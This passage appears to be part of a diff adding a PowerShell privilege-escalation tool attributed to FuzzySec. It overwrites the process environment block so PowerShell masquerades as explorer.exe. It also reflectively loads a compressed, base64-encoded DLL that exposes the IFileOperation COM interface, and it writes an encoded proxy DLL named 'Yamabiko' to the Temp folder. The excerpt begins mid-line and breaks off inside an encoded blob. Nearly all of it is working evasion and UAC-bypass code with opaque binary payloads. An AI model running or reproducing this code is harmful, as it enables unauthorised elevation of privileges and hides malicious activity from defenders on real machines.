$_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())" + } + + # Lazy PEB parsing + $_PEB = [Activator]::CreateInstance($PEB) + $_PEB = $_PEB.GetType() + $BufferOffset = $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64() + $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset + $PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB) + + # Take ownership of PEB + # Not sure this is strictly necessary but why not! + if ($x32Architecture) { + $NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock32) + } else { + $NtDll::RtlEnterCriticalSection($PEBFlags.FastPebLock64) + } echo "[!] RtlEnterCriticalSection --> &Peb->FastPebLock" + + # &Peb->ProcessParameters->ImagePathName/CommandLine + if ($x32Architecture) { + # Offset to &Peb->ProcessParameters + $PROCESS_PARAMETERS = $PEBFlags.ProcessParameters32.ToInt64() + # x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr + [UInt32]$StructSize = 8 + $ImagePathName = $PROCESS_PARAMETERS + 0x38 + $CommandLine = $PROCESS_PARAMETERS + 0x40 + } else { + # Offset to &Peb->ProcessParameters + $PROCESS_PARAMETERS = $PEBFlags.ProcessParameters64.ToInt64() + # x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr + [UInt32]$StructSize = 16 + $ImagePathName = $PROCESS_PARAMETERS + 0x60 + $CommandLine = $PROCESS_PARAMETERS + 0x70 + } + + # Overwrite PEB struct + # Can easily be extended to other UNICODE_STRING structs in _RTL_USER_PROCESS_PARAMETERS(/or in general) + $ImagePathNamePtr = New-Object System.Intptr -ArgumentList $ImagePathName + $CommandLinePtr = New-Object System.Intptr -ArgumentList $CommandLine + if ($x32Architecture) { + echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X8}" -f $ImagePathName)" + echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X8}" -f $CommandLine)" + } else { + echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X16}" -f $ImagePathName)" + echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X16}" -f $CommandLine)" + } + Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $ImagePathNamePtr -dwSize $StructSize -data $BinPath + Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $CommandLinePtr -dwSize $StructSize -data $BinPath + + # &Peb->Ldr + $_PEB_LDR_DATA = [Activator]::CreateInstance($PEB_LDR_DATA) + $_PEB_LDR_DATA = $_PEB_LDR_DATA.GetType() + if ($x32Architecture) { + $BufferOffset = $PEBFlags.Ldr32.ToInt64() + } else { + $BufferOffset = $PEBFlags.Ldr64.ToInt64() + } + $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset + $LDRFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB_LDR_DATA) + + # &Peb->Ldr->InLoadOrderModuleList->Flink + $_LDR_DATA_TABLE_ENTRY = [Activator]::CreateInstance($LDR_DATA_TABLE_ENTRY) + $_LDR_DATA_TABLE_ENTRY = $_LDR_DATA_TABLE_ENTRY.GetType() + $BufferOffset = $LDRFlags.InLoadOrderModuleList.Flink.ToInt64() + $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset + + # Traverse doubly linked list + # &Peb->Ldr->InLoadOrderModuleList->InLoadOrderLinks->Flink + # This is probably overkill, powershell.exe should always be the first entry for InLoadOrderLinks + echo "[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list" + while ($ListIndex -ne $LDRFlags.InLoadOrderModuleList.Blink) { + $LDREntry = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_LDR_DATA_TABLE_ENTRY) + if ([System.Runtime.InteropServices.Marshal]::PtrToStringUni($LDREntry.FullDllName.Buffer) -like "*powershell.exe*") { + if ($x32Architecture) { + # x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr + [UInt32]$StructSize = 8 + $FullDllName = $BufferOffset + 0x24 + $BaseDllName = $BufferOffset + 0x2C + } else { + # x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr + [UInt32]$StructSize = 16 + $FullDllName = $BufferOffset + 0x48 + $BaseDllName = $BufferOffset + 0x58 + } + # Overwrite _LDR_DATA_TABLE_ENTRY struct + # Can easily be extended to other UNICODE_STRING structs in _LDR_DATA_TABLE_ENTRY(/or in general) + $FullDllNamePtr = New-Object System.Intptr -ArgumentList $FullDllName + $BaseDllNamePtr = New-Object System.Intptr -ArgumentList $BaseDllName + if ($x32Architecture) { + echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X8}" -f $FullDllName)" + echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X8}" -f $BaseDllName)" + } else { + echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X16}" -f $FullDllName)" + echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X16}" -f $BaseDllName)" + } + Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $FullDllNamePtr -dwSize $StructSize -data $BinPath + Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $BaseDllNamePtr -dwSize $StructSize -data $BinPath + } + $ListIndex = $BufferOffset = $LDREntry.InLoadOrderLinks.Flink.ToInt64() + $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset + } + + # Release ownership of PEB + if ($x32Architecture) { + $NtDll::RtlLeaveCriticalSection($PEBFlags.FastPebLock32) + } else { + $NtDll::RtlLeaveCriticalSection($PEBFlags.FastPebLock64) + } echo "[!] RtlLeaveCriticalSection --> &Peb->FastPebLock`n" + + # Sanity check just in case! + $ProcStatus = Get-WmiObject Win32_Process -Filter "ProcessId = '$PID'" + if ($ProcStatus.CommandLine -ne "C:\Windows\explorer.exe") { + Masquerade-PEB -BinPath C:\Windows\explorer.exe |Out-Null + } + } + + #--------------- + # Initialize IFileOperation COM Object + #--------------- + function Invoke-IFileOperation { + <# + .SYNOPSIS + Bootstrap function to expose an IFileOperation COM interface to powershell (script-scope). + + .DESCRIPTION + Author: Ruben Boonen (@FuzzySec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .EXAMPLE + C:\PS> Invoke-IFileOperation + C:\PS> $IFileOperation.CopyItem("C:\Some\Dir\a.txt", "C:\Some\Other\Dir\", "b.txt") + C:\PS> $IFileOperation.PerformOperations() + #> + + # Compressed Dll which wraps the IFileOperation COM + # Compression --> http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html + $EncodedCompressedFile = @' + 7Vt7fFx1lT/3kZnMJJk8GkoLAaZNS9PYhLzatFC0k8ykGTIvZiZ9YCXcmblJhk7mjvdO2oZSTBVRP4ACgqLAQl1YEFhhPwsfkccuAlbWFUHRBS0qiuKyvlBXF1Fkzzn3zp2ZJDzWP/y4n483ud/fOed3fud3fud3fr/7yE34nCtAAgAZz9dfB7gPzGMbvPUxj6fnlPs9cI/riVX3CaEnViWns4a3oGtTujLjTSv5vFb0plSvPpv3ZvNefzThndEyandDg3uNZSMWAAgJErT8/Ns7S3afh9XeOqEHAH/B Ycry EQQvnucx28S0aPoNUC7hJlNOhwTbPkiq9Fsu7YKPNrQbBdPutdLSg6zH4kch1H0bMbEP9K+2gq1FfrSC7y6qB4pYFrutcfWU/a4wcV63buhpsHxDH3mgfdV62/C3W1dzWtr0lSeGbG1apDe00M1YxCxHuUkNyDgxz3cACG9rkIuPV8WOZgC3dBkaOLGrTseiYLSg5AJTpC1DWmtFKFUeR5WidGg5lp0niwe5/JxZcpMNJ1UwHccjdap4IQn +dBxJOleLrR01mCidp4pSa4eDKIBlPRLstXwyXcIucA5l8SKcbrljBUqKTqw7NEbCg4ReWby4SVuHBsSDpLrheNGsMFltLdYcCiMlb1huVsjaSrTTcQKN6R3c8Yk9NeAHjl +z2IGZ5pA6PIhumYs6s51DOxGbOBlrWjWcT8f3Wp0bHE4Nc8z9nGODw2FSnUIbzUsrnHgauHks0AAbtpj0n9VXz5/blwxdZlpV91XZidyqdZN5d4VR8q/JtHXc6pItCTa8la1WbWChqZKd1lUlOw7Y8lZ2auSLTqLZN6cQV4Tj1Dfyb1W3afcs05hpRRukef2OePBsygihUzz +0Nl2SmxoLiUIpYV2qt3KTNPOc8XW98WIbcSaogu7MU6m9D7fModu83o4BcHw0kLo/JruolWxCpl5XJvyRQQdq4mlxH2KjHS0U6M1JCPrnZh3lO+4bGkvb9YTaEGUL5NIFZPW7ZY6TqUV1+DQp7BK6lhHQlxsvDA6hxJnDQnWiqf9Y19fd0/3xp7BvkGS1EAO8WrUbL8ICVzLG4hOFPVsfsogjQ3oTgHL9vEEXN9u7q/t28eDlJt3Ij +Aq7N9KKelSusRQ77zXZ85yUV72atCPyw39xtU5QnYjyfGE24xxwPoLfuAarwHS2bOV52VMhFK+1eP2ywdoNceaHDA9xkvdp7R0AjXNpD8TueqegeM1BKuYzzKeBXjHYzfYZ1rnbux7T5GN8sPNU7XOeBMB6FWR/iiTDjqnK5zw+eaPunBHht+JTjgK033YqvfYr8OSNeSzmq28yjjVD1JxhhfcZHkpAaiBxg7XYSH6qnHftZJYo80qkYemzlzTYjH6s5kTkDBFY3H6gIYCRn5JqyhujGL+6aLuDhNJWr +sYE047AWbsKJ +zJqAmjIHUHuaZfJbWHumNvkgtzDRwVqp0EEjXzR1Q8OxzbpcXHH/GHh3xEjDYRjMuHvmwjfx/TLNYQfqiNsdBKe6CL8NGPaTfge1iww/g9rHnAwXU/4TCPhXWznBsYOtv86y7/HkiG2s5ItnMH4ikR4JtcqjCcwOrl2PeNPWKeT5RHGWsYHWX6Qe7mW6XGm72T6fKbHmX6JfTif6RaWf53pK80IMH0G08Aefo/pHTzG23h0DrbwqofwnUx3Mi5nHOdWRdY/zL7JHOd1HB/ZjCHjT3lEvUwHGVc0E77GrT7D Fm5H+Sp4qe5JxKOupxGXOR4Xe+E/6p5B7HceE5vhu/IzogCfkb8vlub3LPGHiO8Hwp8wfbVAeD9jH8tfMGmJ5axzEuMEy3uYvp3pJ5j+OLeaYbyFJTNc+2um383yjzA9yvQBpuvY/nuYXsn6I6ZNxJK3J0svIj4GhH8QCG9l+jXG5xkHWH4xYsxLK +qSFesadMzqj5lc7X63givpk8y9KKhOB3KP2prEfdXm/ksU4Vmbe1mUILaKORite0WsgQct7ivuV8RaoH2duKvcr4t1ULS4u9xNeDV60OJ66mokD7S2m9xDuKc0w7r2si/NcC5zV8KL7gap2dpjr/Te6DheaoF9XHcYrpIduH9eaWqu6GpYJS2HLzF3VHjSQ3Ul7k7P2oq6eXendLzNfdTdJ51gc/e7z5ROsbmj7u1Su81trjtTWm9z/rqk1GVzN7hTUr/N3eHOShttbnldp7TF5jbUGdJWm/upZ14atrgXh RdxPwzY3LEq7knmHrfi4qm/RCrVEXe5NAp/bC/P35gVs6M1485rpDK3x7lWCtlco+c6KWxzD9c0QcTmDrqOSFGbu7XhiBSzuQea1kpn29zv3P8gxW1un+eIlLC5q9x3Skmb2+a5V9ppc19xPyDttrldnqPSe2xutO4BacLmLse6tM3d5X5CUm0uhP1N2VxP3bekaZujzJopey13VHCUIXmbowwpc5Qhms1Rhug2Rxmy3 +YoQw7aHGXIYZujDPmgzVGGXGpzlCGX2xxlyJU2Rxlytc1Rhlxnc5QhN9jcsSruySrui/U/kMrc440/l47Y3AuOX1dwv2h4Rfp7mws7X5NuBrqMPuIiPGqjCL+qJ/oTNUQ/UEd3KMccbyYp0wJ8yUESt5N0fuwhyTUufkrEh0IBLmf7Z0tU+6xMtUcaCfs8JH/aTfKnHEtJZHA46Y7uDnlh7cfrqXZxq7K8Bl6rpTumN297+hu0vb1xqbbVdmacpF+pQxaqx1KWyPAxtvxdvo +7De9PnLCqjjRXuknzwxz/E +o5VhztexuXlnyfI3wy97LKQxF+uoZQYny6ieQPsSb6iZKcp0SL7IkE9XUkT3lKEq41vfWWvDV1cvYoqnV+/aY6ZbnAcpFGja3+5ABvKQ6kY+blonzwLsoH79vIB+8b5IP3beTDW7b9s/PBuygfTIn3beSDHR9aO9iLbK0gW/4AW/4Fr +KHeJV9o1EEH3rhQ8tecMG6BoGuv3jVWInohvWITdDLuIXRxxhkPJtxN6OCeBxkmX4v4xcYv8jWvo54Aswx/W2Wz0HA2Q6fgnMbO+AHLGnl+ +yXIN84CL8CvWYrHIGgYwh+Dxc3juCTEd2nHAa6JxCE9mYNJXQf4xIucRyAZoEsXMl2PgUr4ELESccHENfDpai/s/FqRHfzdYixxptwpPVwN2IT3IvYCvcjroB/RWyDx4A2o39DXANfQ+yApxE3wLOIPfBdxAH4IeJm+AniVvgZ4jb02AV+ +B3iKPwBEa +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 +6478dfw3H/wI= +'@ + + # Decompress & load assembly + $DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress) + $UncompressedFileBytes = New-Object Byte[](14336) + $DeflatedStream.Read($UncompressedFileBytes, 0, 14336) | Out-Null + [Reflection.Assembly]::Load($UncompressedFileBytes) | Out-Null + + # PS C:\Users\b33f> $IFileOperation |Get-Member + # + # TypeName: FileOperation.FileOperation + # + # Name MemberType Definition + # ---- ---------- ---------- + # CopyItem Method void CopyItem(string source, string destination, string newName) + # DeleteItem Method void DeleteItem(string source) + # Dispose Method void Dispose(), void IDisposable.Dispose() + # Equals Method bool Equals(System.Object obj) + # GetHashCode Method int GetHashCode() + # GetType Method type GetType() + # MoveItem Method void MoveItem(string source, string destination, string newName) + # NewItem Method void NewItem(string folderName, string name, System.IO.FileAttributes attrs) + # PerformOperations Method void PerformOperations() + # RenameItem Method void RenameItem(string source, string newName) + # ToString Method string ToString() + + $script:IFileOperation = New-Object FileOperation.FileOperation + } + + #--------------- + # Write proxy dll to disk + #--------------- + function Emit-Yamabiko { + <# + .SYNOPSIS + Bootstrap function to write x32/x64 Yamabiko to disk. Exposes $DllPath to powershell (script-scope). + + Yamabiko: a mountain god, used to describe the phenomenon of a delayed echo in mountains and valleys. + + .DESCRIPTION + Author: Ruben Boonen (@FuzzySec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .EXAMPLE + C:\PS> Emit-Yamabiko + C:\PS> $DllPath + C:\Users\b33f\AppData\Local\Temp\yam1475935850.tmp + #> + + $script:DllPath = $env:Temp + "\yam$(Get-Random).tmp" + + $yamabiko32 = @' + 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 